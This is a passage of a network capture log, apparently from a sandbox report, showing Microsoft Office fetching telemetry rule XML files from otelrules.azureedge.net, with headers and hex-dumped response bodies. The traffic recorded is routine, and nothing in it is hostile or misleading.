2024-11-18 04:57:30 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:30 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: dd43ea10-201e-0003-39d2-37f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045730Z-16547b76f7fqqjnnhC1DFWxv7400000003h000000000n4tv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:30 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:30 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:30 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:30 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 1c255c34-701e-0053-4dbc-373a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045730Z-16547b76f7fljddfhC1DFWeqbs000000063000000000hd0d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:30 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:30 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:30 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:30 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: d6bfd382-901e-00ac-633e-38b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045730Z-164f84587bfsqsthhC1DFWh63000000004fg000000005p9u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 04:57:30 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:30 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:30 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:30 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 9c34710c-f01e-0071-6c8a-37431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045730Z-164f84587bfs5tz9hC1DFW9a3w00000005e0000000006ham x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:30 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:30 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:30 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:30 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: cd078e55-e01e-0020-52a2-37de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045730Z-164f84587bfjxw6fhC1DFWq94400000005g0000000006qhb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:30 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:30 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:31 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:30 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 0f1e6da1-801e-007b-6baf-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045730Z-16547b76f7fw2955hC1DFWsptc00000005xg000000000s14 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:31 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:30 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:31 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:30 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 21ae6e2f-801e-008f-20af-362c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045730Z-16547b76f7fxqj4khC1DFWpypw00000002r0000000006nfh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:31 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:31 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:31 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:31 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 6763c5ef-a01e-000d-6fc4-37d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045731Z-16547b76f7ftnm6xhC1DFW9c8c00000004u000000000r4fp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:31 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:31 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:31 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:31 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 99c36cd7-201e-0096-7ccd-37ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045731Z-16547b76f7fpdsp9hC1DFW8f5000000002z0000000004sna x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:31 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:31 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:31 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:31 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: c22da945-001e-00ad-15a1-36554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045731Z-16547b76f7fd77jrhC1DFWfwq000000001wg00000000q75h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:31 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:31 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:31 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:31 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 9c6f226a-f01e-003f-6009-37d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045731Z-1866b5c5fbbfhwqqhC1DFW513800000004ug0000000029mz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:31 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:31 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:31 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:31 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: cf21543a-c01e-0079-7409-37e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045731Z-16547b76f7fqqjnnhC1DFWxv7400000003rg0000000005t6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:31 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 